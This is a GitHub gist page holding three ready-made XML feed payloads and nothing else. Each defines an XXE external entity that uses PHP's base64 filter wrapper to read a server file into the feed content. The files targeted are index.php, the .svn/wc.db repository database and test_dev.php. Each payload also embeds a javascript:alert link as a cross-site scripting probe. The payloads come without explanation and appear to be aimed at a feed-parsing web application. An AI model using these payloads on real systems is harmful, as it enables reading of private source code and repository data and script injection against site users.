Skip to content

Instantly share code, notes, and snippets.

@h3xstream

h3xstream/gist:d9998bd20e27ae981c29f896b2aec412

Last active November 3, 2018 14:57
Show Gist options
  • Save h3xstream/d9998bd20e27ae981c29f896b2aec412 to your computer and use it in GitHub Desktop.
Save h3xstream/d9998bd20e27ae981c29f896b2aec412 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
Raw
gistfile2.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=.svn/wc.db" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
Raw
gistfile3.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=test_dev.php" >
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Test</title>
<link href="javascript:alert(11)"></link>
<content>&xxe;</content>
</entry>
</feed>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment